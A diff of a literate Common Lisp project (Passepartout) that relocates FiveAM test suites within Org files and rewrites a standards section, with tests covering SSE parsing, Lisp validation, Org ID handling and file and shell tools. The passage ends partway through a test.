-  (:use :cl :passepartout)
-  (:export #:llm-gateway-suite))
-
-(in-package :passepartout-llm-gateway-tests)
-
-(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
-(fiveam:in-suite llm-gateway-suite)
-
-(fiveam:test test-provider-rejects-bad-keyword
-  "Contract 3: provider-config returns nil for unregistered provider."
-  (let ((config (provider-config :not-a-real-provider)))
-    (fiveam:is (null config))))
-
-(fiveam:test test-provider-config-registered
-  "Contract 1: provider-config returns configuration plist for registered provider."
-  (let ((config (provider-config :openrouter)))
-    (fiveam:is (listp config))
-    (fiveam:is (getf config :base-url))))
-
-(fiveam:test test-provider-accepts-tools-parameter
-  "Contract 4: provider-openai-request accepts :tools parameter without error."
-  (let ((result (provider-openai-request "test" "system" :tools (list))))
-    (fiveam:is (member (getf result :status) '(:success :error)))))
-
-;; ── v0.7.1 Streaming ──
-
-(fiveam:test test-parse-sse-line-data
-  "Contract 6: parse-sse-line extracts content from data: lines."
-  (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
-  (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
-
-(fiveam:test test-parse-sse-line-done
-  "Contract 6: parse-sse-line returns :done for [DONE]."
-  (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
-
-(fiveam:test test-parse-sse-line-nil
-  "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
-  (fiveam:is (null (passepartout::parse-sse-line "")))
-  (fiveam:is (null (passepartout::parse-sse-line ":ok")))
-  (fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
-
-(fiveam:test test-provider-openai-stream-calls-callback
-  "Contract 5: provider-openai-stream calls callback with deltas and final empty string."
-  (let ((collected '()))
-    (flet ((collector (text) (push text collected)))
-      (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
-    (let* ((reversed (nreverse collected))
-           (last (car (last reversed))))
-      (fiveam:is (stringp last))
-      (fiveam:is (string= "" last))
-      (fiveam:is (>= (length reversed) 2)))))
-#+end_src

org/programming-lisp.org

@@ -31,6 +31,98 @@ The skill has four layers:
 8. (lisp-inject code target new-form): injects a form into a function body.
 9. (lisp-slurp code target form): appends a form to a function body.
 
+* Test Suite
+Tests for the Lisp Validator structural, syntactic, and semantic gates.
+#+begin_src lisp
+(defpackage :passepartout-utils-lisp-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:utils-lisp-suite))
+
+(in-package :passepartout-utils-lisp-tests)
+
+(def-suite utils-lisp-suite
+  :description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
+
+(in-suite utils-lisp-suite)
+
+(test structural-balanced
+  "Contract 1: balanced code returns T."
+  (is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
+
+(test structural-unbalanced-open
+  "Contract 1: missing close paren returns nil + error."
+  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
+    (is (null ok))
+    (is (search "Reader Error" reason))))
+
+(test structural-unbalanced-close
+  "Contract 1: extra close paren returns nil + error."
+  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
+    (is (null ok))
+    (is (search "Reader Error" reason))))
+
+(test syntactic-valid
+  "Contract 2: valid syntax passes syntactic check."
+  (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
+
+(test semantic-safe
+  "Contract 3: safe code passes semantic check."
+  (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
+
+(test semantic-blocked-eval
+  "Contract 3: eval forms are blocked by semantic check."
+  (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
+    (is (null ok))
+    (is (search "Unsafe" reason))))
+
+(test unified-success
+  "Contract 4: valid code returns :success via lisp-validate."
+  (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
+    (is (eq (getf result :status) :success))))
+
+(test unified-failure
+  "Contract 4: invalid code returns :error via lisp-validate."
+  (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
+    (is (eq (getf result :status) :error))))
+
+(test eval-basic
+  "Contract 5: lisp-eval returns :success with captured result."
+  (let ((result (passepartout:lisp-eval "(+ 1 2)")))
+    (is (eq (getf result :status) :success))
+    (is (string= (getf result :result) "3"))))
+
+(test structural-extract
+  "Contract 6: lisp-extract finds and returns a named function."
+  (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
+         (extracted (passepartout:lisp-extract code "hello")))
+    (is (not (null extracted)))
+    (let ((form (read-from-string extracted)))
+      (is (eq (car form) 'DEFUN))
+      (is (eq (second form) 'HELLO)))))
+
+(test list-definitions
+  "Contract 7: lisp-list-definitions returns all defined names."
+  (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
+    (let ((names (passepartout:lisp-list-definitions code)))
+      (is (member 'FOO names))
+      (is (member 'BAR names))
+      (is (member '*BAZ* names)))))
+
+(test structural-inject
+  "Contract 8: lisp-inject adds a form to a function body."
+  (let* ((code "(defun my-fun (x) (print x))")
+         (injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
+    (let ((form (read-from-string injected)))
+      (is (equal (last form) '((FINISH-OUTPUT)))))))
+
+(test structural-slurp
+  "Contract 9: lisp-slurp appends a form to a function body."
+  (let* ((code "(defun work () (step-1))")
+         (slurped (passepartout:lisp-slurp code "work" "(step-2)")))
+    (let ((form (read-from-string slurped)))
+      (is (equal (last form) '((STEP-2)))))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -248,94 +340,3 @@ Lisp keywords are case-sensitive. The LLM might produce :payload or :PAYLOAD dep
           collect v)))
 #+end_src
 
-* Test Suite
-Tests for the Lisp Validator structural, syntactic, and semantic gates.
-#+begin_src lisp
-(defpackage :passepartout-utils-lisp-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:utils-lisp-suite))
-
-(in-package :passepartout-utils-lisp-tests)
-
-(def-suite utils-lisp-suite
-  :description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
-
-(in-suite utils-lisp-suite)
-
-(test structural-balanced
-  "Contract 1: balanced code returns T."
-  (is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
-
-(test structural-unbalanced-open
-  "Contract 1: missing close paren returns nil + error."
-  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
-    (is (null ok))
-    (is (search "Reader Error" reason))))
-
-(test structural-unbalanced-close
-  "Contract 1: extra close paren returns nil + error."
-  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
-    (is (null ok))
-    (is (search "Reader Error" reason))))
-
-(test syntactic-valid
-  "Contract 2: valid syntax passes syntactic check."
-  (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
-
-(test semantic-safe
-  "Contract 3: safe code passes semantic check."
-  (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
-
-(test semantic-blocked-eval
-  "Contract 3: eval forms are blocked by semantic check."
-  (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
-    (is (null ok))
-    (is (search "Unsafe" reason))))
-
-(test unified-success
-  "Contract 4: valid code returns :success via lisp-validate."
-  (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
-    (is (eq (getf result :status) :success))))
-
-(test unified-failure
-  "Contract 4: invalid code returns :error via lisp-validate."
-  (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
-    (is (eq (getf result :status) :error))))
-
-(test eval-basic
-  "Contract 5: lisp-eval returns :success with captured result."
-  (let ((result (passepartout:lisp-eval "(+ 1 2)")))
-    (is (eq (getf result :status) :success))
-    (is (string= (getf result :result) "3"))))
-
-(test structural-extract
-  "Contract 6: lisp-extract finds and returns a named function."
-  (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
-         (extracted (passepartout:lisp-extract code "hello")))
-    (is (not (null extracted)))
-    (let ((form (read-from-string extracted)))
-      (is (eq (car form) 'DEFUN))
-      (is (eq (second form) 'HELLO)))))
-
-(test list-definitions
-  "Contract 7: lisp-list-definitions returns all defined names."
-  (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
-    (let ((names (passepartout:lisp-list-definitions code)))
-      (is (member 'FOO names))
-      (is (member 'BAR names))
-      (is (member '*BAZ* names)))))
-
-(test structural-inject
-  "Contract 8: lisp-inject adds a form to a function body."
-  (let* ((code "(defun my-fun (x) (print x))")
-         (injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
-    (let ((form (read-from-string injected)))
-      (is (equal (last form) '((FINISH-OUTPUT)))))))
-
-(test structural-slurp
-  "Contract 9: lisp-slurp appends a form to a function body."
-  (let* ((code "(defun work () (step-1))")
-         (slurped (passepartout:lisp-slurp code "work" "(step-2)")))
-    (let ((form (read-from-string slurped)))
-      (is (equal (last form) '((STEP-2)))))))
-#+end_src

org/programming-literate.org

@@ -15,6 +15,47 @@ This skill enforces the literal programming discipline for all Passepartout sour
 3. (literate-tangle-sync-check org-file lisp-file): verifies the
    tangled .lisp file matches the Org source. Returns T or mismatch info.
 
+* Test Suite
+
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-programming-literate-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:literate-suite))
+
+(in-package :passepartout-programming-literate-tests)
+
+(def-suite literate-suite :description "Verification of the Literate Programming skill")
+(in-suite literate-suite)
+
+(test test-extract-lisp-blocks
+  "Contract 1: extracts lisp from #+begin_src blocks."
+  (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
+         (extracted (literate-extract-lisp-blocks org-content)))
+    (let ((joined (format nil "~{~a~^~%~}" extracted)))
+      (is (search "(+ 1 2)" joined))
+      (is (search "(+ 3 4)" joined)))))
+
+(test test-block-balance-check-valid
+  "Contract 2: balanced parens return T."
+  (is (eq t (literate-block-balance-check
+             (merge-pathnames "org/core-pipeline.org"
+                              (uiop:ensure-directory-pathname
+                               (uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
+
+(test test-block-balance-check-missing-close
+  "Contract 2: unbalanced parens return non-T."
+  (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
+
+(test test-tangle-sync-check
+  "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
+  (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
+    (is (or (eq t result) (stringp result))
+        "Should return T or a mismatch description")))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -103,43 +144,3 @@ contents of the Lisp file. Returns T if they match, or an error message."
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 #+end_src
 
-* Test Suite
-
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-programming-literate-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:literate-suite))
-
-(in-package :passepartout-programming-literate-tests)
-
-(def-suite literate-suite :description "Verification of the Literate Programming skill")
-(in-suite literate-suite)
-
-(test test-extract-lisp-blocks
-  "Contract 1: extracts lisp from #+begin_src blocks."
-  (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
-         (extracted (literate-extract-lisp-blocks org-content)))
-    (let ((joined (format nil "~{~a~^~%~}" extracted)))
-      (is (search "(+ 1 2)" joined))
-      (is (search "(+ 3 4)" joined)))))
-
-(test test-block-balance-check-valid
-  "Contract 2: balanced parens return T."
-  (is (eq t (literate-block-balance-check
-             (merge-pathnames "org/core-pipeline.org"
-                              (uiop:ensure-directory-pathname
-                               (uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
-
-(test test-block-balance-check-missing-close
-  "Contract 2: unbalanced parens return non-T."
-  (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
-
-(test test-tangle-sync-check
-  "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
-  (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
-    (is (or (eq t result) (stringp result))
-        "Should return T or a mismatch description")))
-#+end_src

org/programming-org.org

@@ -21,6 +21,105 @@ Structural manipulation tools for Org-mode files. This skill handles reading, wr
    If the headline already has one, returns it. If not, generates a new UUID,
    sets it, and returns it. Returns nil if the headline is not found.
 
+* Test Suite
+Verification of the structural manipulation for Org-mode files and their AST representation.
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ignore-errors (ql:quickload :fiveam :silent t)))
+
+(defpackage :passepartout-utils-org-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:utils-org-suite))
+
+(in-package :passepartout-utils-org-tests)
+
+(def-suite utils-org-suite
+  :description "Tests for Utils Org skill.")
+
+(in-suite utils-org-suite)
+
+(test id-generation
+  "Contract 1: org-id-generate returns unique UUID strings."
+  (let ((id1 (org-id-generate))
+        (id2 (org-id-generate)))
+    (is (plusp (length id1)))
+    (is (not (string= id1 id2)))))
+
+(test id-format
+  "Contract 2: org-id-format ensures 'id:' prefix."
+  (let ((formatted (org-id-format "abc12345")))
+    (is (search "id:" formatted))))
+
+(test property-setter
+  "Contract 3: org-property-set modifies a property on a headline."
+  (let ((ast (list :type :HEADLINE
+                  :properties (list :ID "id:test123" :TITLE "Test")
+                  :contents nil)))
+    (org-property-set ast "id:test123" :STATUS "ACTIVE")
+    (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
+
+(test todo-setter
+  "Contract 4: org-todo-set changes TODO state via org-property-set."
+  (let ((ast (list :type :HEADLINE
+                  :properties (list :ID "id:todo001" :TITLE "Task")
+                  :contents nil)))
+    (org-todo-set ast "id:todo001" "DONE")
+    (is (string= (getf (getf ast :properties) :TODO) "DONE"))))
+
+(test test-org-headline-add
+  "Contract 5: org-headline-add inserts a child headline."
+  (let* ((ast (list :type :HEADLINE
+                   :properties (list :ID "root" :TITLE "Root")
+                   :contents nil)))
+    (is (eq t (org-headline-add ast "root" "New Child")))
+    (is (= 1 (length (getf ast :contents))))
+    (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
+
+(test test-org-headline-find-by-id
+  "Contract 6: org-headline-find-by-id finds a headline by ID."
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :ID "root" :TITLE "Root")
+                    :contents
+                    (list (list :type :HEADLINE
+                                :properties (list :ID "child1" :TITLE "Child"))
+                          (list :type :HEADLINE
+                                :properties (list :ID "child2" :TITLE "Child 2"))))))
+    (let ((found (org-headline-find-by-id ast "child2")))
+      (is (not (null found)))
+      (is (string= "Child 2" (getf (getf found :properties) :TITLE))))
+    (let ((missing (org-headline-find-by-id ast "nonexistent")))
+      (is (null missing) "Missing ID should return nil"))))
+
+(test test-org-id-get-create
+  "Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
+  ;; Case 1: headline already has an ID
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :ID "id:existing" :TITLE "Has ID")
+                    :contents nil)))
+    (is (string= "id:existing" (org-id-get-create ast "id:existing"))))
+  ;; Case 2: headline exists by title but has no ID — one should be created
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :TITLE "No ID")
+                    :contents nil)))
+    (let ((new-id (org-id-get-create ast "No ID")))
+      (is (stringp new-id))
+      (is (uiop:string-prefix-p "id:" new-id))
+      ;; Verify the ID was set on the headline
+      (is (string= new-id (getf (getf ast :properties) :ID)))))
+  ;; Case 3: idempotent — calling again returns same ID
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :TITLE "Idempotent")
+                    :contents nil)))
+    (let ((id1 (org-id-get-create ast "Idempotent"))
+          (id2 (org-id-get-create ast "Idempotent")))
+      (is (string= id1 id2))))
+  ;; Case 4: headline not found returns nil
+  (let* ((ast (list :type :HEADLINE
+                    :properties (list :ID "root" :TITLE "Root")
+                    :contents nil)))
+    (is (null (org-id-get-create ast "nonexistent")))))
+#+end_src
+
 * Implementation
 
 ** Package Context
@@ -369,101 +468,3 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 #+end_src
 
-* Test Suite
-Verification of the structural manipulation for Org-mode files and their AST representation.
-#+begin_src lisp
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ignore-errors (ql:quickload :fiveam :silent t)))
-
-(defpackage :passepartout-utils-org-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:utils-org-suite))
-
-(in-package :passepartout-utils-org-tests)
-
-(def-suite utils-org-suite
-  :description "Tests for Utils Org skill.")
-
-(in-suite utils-org-suite)
-
-(test id-generation
-  "Contract 1: org-id-generate returns unique UUID strings."
-  (let ((id1 (org-id-generate))
-        (id2 (org-id-generate)))
-    (is (plusp (length id1)))
-    (is (not (string= id1 id2)))))
-
-(test id-format
-  "Contract 2: org-id-format ensures 'id:' prefix."
-  (let ((formatted (org-id-format "abc12345")))
-    (is (search "id:" formatted))))
-
-(test property-setter
-  "Contract 3: org-property-set modifies a property on a headline."
-  (let ((ast (list :type :HEADLINE
-                  :properties (list :ID "id:test123" :TITLE "Test")
-                  :contents nil)))
-    (org-property-set ast "id:test123" :STATUS "ACTIVE")
-    (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
-
-(test todo-setter
-  "Contract 4: org-todo-set changes TODO state via org-property-set."
-  (let ((ast (list :type :HEADLINE
-                  :properties (list :ID "id:todo001" :TITLE "Task")
-                  :contents nil)))
-    (org-todo-set ast "id:todo001" "DONE")
-    (is (string= (getf (getf ast :properties) :TODO) "DONE"))))
-
-(test test-org-headline-add
-  "Contract 5: org-headline-add inserts a child headline."
-  (let* ((ast (list :type :HEADLINE
-                   :properties (list :ID "root" :TITLE "Root")
-                   :contents nil)))
-    (is (eq t (org-headline-add ast "root" "New Child")))
-    (is (= 1 (length (getf ast :contents))))
-    (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
-
-(test test-org-headline-find-by-id
-  "Contract 6: org-headline-find-by-id finds a headline by ID."
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :ID "root" :TITLE "Root")
-                    :contents
-                    (list (list :type :HEADLINE
-                                :properties (list :ID "child1" :TITLE "Child"))
-                          (list :type :HEADLINE
-                                :properties (list :ID "child2" :TITLE "Child 2"))))))
-    (let ((found (org-headline-find-by-id ast "child2")))
-      (is (not (null found)))
-      (is (string= "Child 2" (getf (getf found :properties) :TITLE))))
-    (let ((missing (org-headline-find-by-id ast "nonexistent")))
-      (is (null missing) "Missing ID should return nil"))))
-
-(test test-org-id-get-create
-  "Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
-  ;; Case 1: headline already has an ID
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :ID "id:existing" :TITLE "Has ID")
-                    :contents nil)))
-    (is (string= "id:existing" (org-id-get-create ast "id:existing"))))
-  ;; Case 2: headline exists by title but has no ID — one should be created
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :TITLE "No ID")
-                    :contents nil)))
-    (let ((new-id (org-id-get-create ast "No ID")))
-      (is (stringp new-id))
-      (is (uiop:string-prefix-p "id:" new-id))
-      ;; Verify the ID was set on the headline
-      (is (string= new-id (getf (getf ast :properties) :ID)))))
-  ;; Case 3: idempotent — calling again returns same ID
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :TITLE "Idempotent")
-                    :contents nil)))
-    (let ((id1 (org-id-get-create ast "Idempotent"))
-          (id2 (org-id-get-create ast "Idempotent")))
-      (is (string= id1 id2))))
-  ;; Case 4: headline not found returns nil
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :ID "root" :TITLE "Root")
-                    :contents nil)))
-    (is (null (org-id-get-create ast "nonexistent")))))
-#+end_src

org/programming-standards.org

@@ -77,95 +77,18 @@ The Diagnostics skill is the self-knowledge of Passepartout. It answers
 2. The ~** Contract~ section MUST list every public function.
 3. Every test in ~* Test Suite~ MUST reference a specific Contract item.
 4. If you change a function's signature, you MUST update its Contract item.
-5. These files are excluded (no defuns): ~core-manifest.org~, ~setup.org~.
-6. **NO-HARDCODED-CONSTANTS**: All configurable values (thresholds, intervals,
-   paths, limits, counters) MUST be read from environment variables with a
-   documented default in ~.env.example~. No magic numbers, no hardcoded
-   string literals in function bodies for any value a user might need to
-   change. The user owns their configuration — they change it in ~.env~, not
-   in the source code. Exceptions: internal implementation details that are
-   never user-facing (hash-table sizes, buffer capacity limits, loop
-   iteration caps) may live in source. But if the value controls *behavior*
-   (how many approvals before a rule, what similarity threshold gates
-   context, how long a shell command runs before timeout), it lives
-   in ~.env~ with a fallback default.
 
-** Engineering Lifecycle (Two-Track)
+** Contract
 
-The canonical workflow. Two tracks, not to be confused:
+The standards skill itself guarantees:
 
-*** Track 1 — Org-First: Prose, Tests, Thinking (Phases 0/A)
+1. (standards-git-clean-p dir): checks whether directory ~dir~ has
-
+   uncommitted git changes. Returns T if clean, NIL if dirty. Runs
-This track stays in Org. No code is written yet.
+   ~git status --porcelain~ in the target directory.
-
+2. (standards-lisp-verify code): validates Lisp code string for
-**** Phase 0: Exploration & Documentation
+   structural correctness. Delegates to ~lisp-syntax-validate~.
-1. Read the relevant Org source files for context
+3. (standards-lisp-format code): applies formatting conventions to
-2. Explore the problem in the running REPL with ~repl-inspect~ and ~repl-eval~
+   Lisp code. Delegates to ~lisp-format~.
-3. Document findings in Org prose
-4. If a bug: document investigation in Org before fixing (Org as thinking medium)
-
-**** Phase A: Test-First Design
-1. Write the success criteria as Contract items in the ~** Contract~ section
-2. Write the FiveAM test in the ~* Test Suite~ section at the bottom of the file, with a comment referencing which Contract item it verifies. Tests are embedded — no ~:tangle ../tests/...~ override.
-3. Tangle and evaluate in the REPL — confirm it fails (red)
-4. The failing test is the success criteria. Do not proceed to Track 2 until it exists and is red.
-
-*** Track 2 — REPL-First: Implementation, Iteration, Reflection (Phases B/C/D/E)
-
-Code is prototyped in the REPL, never written directly into Org first.
-
-**** Phase B/C: REPL Implementation
-1. Write the function directly in the REPL using ~repl-eval~
-2. Iterate: evaluate, inspect, fix, re-evaluate — the image accumulates state
-3. Run the test in the REPL — confirm green
-4. Explore edge cases with ~repl-inspect~ and ad-hoc evaluations
-5. Before writing any ~defun~ in an Org block, verify it was prototyped and tested in the REPL first
-
-**** Phase D: Chaos Verification
-Run the appropriate chaos tier before reflecting code back to Org:
-- *Tier 1 (Deterministic)*: Full FiveAM test suite — required on every change
-- *Tier 2 (Probabilistic)*: Randomized fuzzing — required on every major release
-- *Tier 3 (Stress)*: Load and resource starvation — required during hardening sprints
-
-**** Phase E: Reflect Back to Org
-1. Copy the working function into its own ~#+begin_src lisp~ block in the Org file
-2. Update the prose to match what the function actually does (arguments, return, rationale)
-3. Before closing Phase E, run ~(lisp-validate (uiop:read-file-string "path/to/file.lisp") :strict t)~ in the REPL — never external scripts or manual paren-counting
-4. Verify the Org file tangles correctly
-5. Tangle, commit, update GTD
-
-**** Syntax Error Protocol
-If a LOADER ERROR or reader-error occurs:
-1. Run ~(lisp-validate (uiop:read-file-string "file.lisp") :strict t)~ in the REPL — never Python, never grep, never manual counting
-2. Fix the error in the Org file (since the code was prototyped in REPL first, this should be rare)
-3. Retangle and re-evaluate
-
-Rationale: The two tracks prevent the two failure modes we have observed. Writing implementation code directly in Org (without REPL prototyping) produces syntax errors that require external tools to debug. Skipping Org-first test writing produces code without verified success criteria. The split is not bureaucratic — it is the mechanism by which both failures are prevented.
-
-** GTD Conventions
-
-Every task headline in the project's ROADMAP.org and gtd.org follows these rules:
-
-1. **:ID:** — generated by ~memory-id-generate~ (UUIDv4 with ~id-~ prefix), never written manually. Use ~(memory-id-generate)~ in the REPL to produce one.
-2. **:CREATED:** — ISO-8601 timestamp: ~[2026-05-02 Sat 14:30]~. Set when the headline is first created, never changed.
-3. **:LOGBOOK:** — each state transition is logged: ~- State "DONE" from "TODO" [2026-05-02 Sat 15:00]~.
-4. **CLOSED:** — set when the task reaches DONE: ~CLOSED: [2026-05-02 Sat 15:00]~.
-5. **TODO keywords** follow the standard sequence: ~TODO~ → ~NEXT~ → ~IN-PROGRESS~ → ~DONE~ / ~BLOCKED~ / ~CANCELLED~.
-6. **The Agent** updates these automatically during Phase E of the lifecycle. The human never needs to write a UUID or timestamp manually — the agent generates and inserts them.
-
-Example:
-
-#+begin_src org
-*** DONE Event Orchestrator
-:PROPERTIES:
-:ID:       id-4a2b9c8f-3d7e-4f12-a9b0-1c2d3e4f5a6b
-:CREATED:  [2026-05-02 Sat]
-:END:
-:LOGBOOK:
-- State "DONE" from "TODO" [2026-05-02 Sat 18:00]
-:END:
-CLOSED: [2026-05-02 Sat 18:00]
-#+end_src
 
 * Implementation
 

org/programming-tools.org

@@ -51,6 +51,182 @@ in the /last/ tool execution, matching the tool-execution visualization
 pattern from v0.7.1. Cumulative file tracking belongs in the version
 control system.
 
+* Test Suite
+
+#+begin_src lisp
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-programming-tools-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:programming-tools-suite))
+
+(in-package :passepartout-programming-tools-tests)
+
+(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
+(in-suite programming-tools-suite)
+
+(defun tools-tmpdir ()
+  (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
+    (uiop:ensure-all-directories-exist (list d))
+    d))
+
+(defun tools-cleanup ()
+  (let ((d (tools-tmpdir)))
+    (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
+
+(defun tools-write-file (filepath content)
+  (uiop:ensure-all-directories-exist (list filepath))
+  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
+    (write-string content stream)))
+
+(defun call-tool (tool-name &rest args)
+  (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
+    (unless tool (error "Tool ~a not found" tool-name))
+    (funcall (cognitive-tool-body tool) args)))
+
+;; search-files
+(test test-search-files-finds-matches
+  "Contract 1: search-files finds lines matching a regex pattern."
+  (let* ((dir (tools-tmpdir))
+         (file-a (merge-pathnames "src-a.lisp" dir))
+         (file-b (merge-pathnames "src-b.lisp" dir)))
+    (tools-write-file file-a "(defun foo () 'hello)")
+    (tools-write-file file-b "(defun bar () 'world)")
+    (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
+      (is (eq (getf result :status) :success))
+      (is (search "src-a.lisp:1:" (getf result :content)))
+      (is (search "src-b.lisp:1:" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-search-files-missing-params
+  "search-files returns error when required params are missing."
+  (let ((result (call-tool 'search-files :pattern "x")))
+    (is (eq (getf result :status) :error))))
+
+;; find-files
+(test test-find-files-by-extension
+  "Contract 5: find-files returns files matching a glob."
+  (let ((dir (tools-tmpdir)))
+    (tools-write-file (merge-pathnames "a.lisp" dir) "test")
+    (tools-write-file (merge-pathnames "b.lisp" dir) "test")
+    (tools-write-file (merge-pathnames "c.org" dir) "test")
+    (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
+      (is (eq (getf result :status) :success))
+      (is (search "a.lisp" (getf result :content)))
+      (is (search "b.lisp" (getf result :content)))
+      (is (not (search "c.org" (getf result :content)))))
+    (tools-cleanup)))
+
+(test test-find-files-missing-params
+  "find-files returns error without required params."
+  (let ((result (call-tool 'find-files :pattern "*.lisp")))
+    (is (eq (getf result :status) :error))))
+
+;; read-file
+(test test-read-file-full
+  "Contract 6: read-file returns full file contents."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "readme.txt" dir)))
+    (tools-write-file file (format nil "line one~%line two~%line three"))
+    (let ((result (call-tool 'read-file :filepath (namestring file))))
+      (is (eq (getf result :status) :success))
+      (is (search "line one" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-read-file-missing-params
+  "read-file returns error without :filepath."
+  (let ((result (call-tool 'read-file)))
+    (is (eq (getf result :status) :error))))
+
+;; write-file
+(test test-write-file-creates
+  "Contract 7: write-file creates file with content."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "output.txt" dir)))
+    (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
+      (is (eq (getf result :status) :success))
+      (is (search "11 bytes" (getf result :content))))
+    (is (string-equal "hello world" (uiop:read-file-string file)))
+    (tools-cleanup)))
+
+(test test-write-file-missing-params
+  "write-file returns error without required params."
+  (let ((result (call-tool 'write-file :content "x")))
+    (is (eq (getf result :status) :error))))
+
+;; list-directory
+(test test-list-directory-all
+  "Contract 8: list-directory returns all entries."
+  (let ((dir (tools-tmpdir)))
+    (tools-write-file (merge-pathnames "alpha.txt" dir) "x")
+    (tools-write-file (merge-pathnames "beta.txt" dir) "y")
+    (let ((result (call-tool 'list-directory :path (namestring dir))))
+      (is (eq (getf result :status) :success))
+      (is (search "alpha.txt" (getf result :content)))
+      (is (search "beta.txt" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-list-directory-missing-params
+  "list-directory returns error without :path."
+  (let ((result (call-tool 'list-directory)))
+    (is (eq (getf result :status) :error))))
+
+;; run-shell
+(test test-run-shell-echo
+  "Contract 9: run-shell executes a command and returns output."
+  (let ((result (call-tool 'run-shell :cmd "echo hello")))
+    (is (eq (getf result :status) :success))
+    (is (search "hello" (getf result :content)))))
+
+(test test-run-shell-missing-params
+  "run-shell returns error without :cmd."
+  (let ((result (call-tool 'run-shell)))
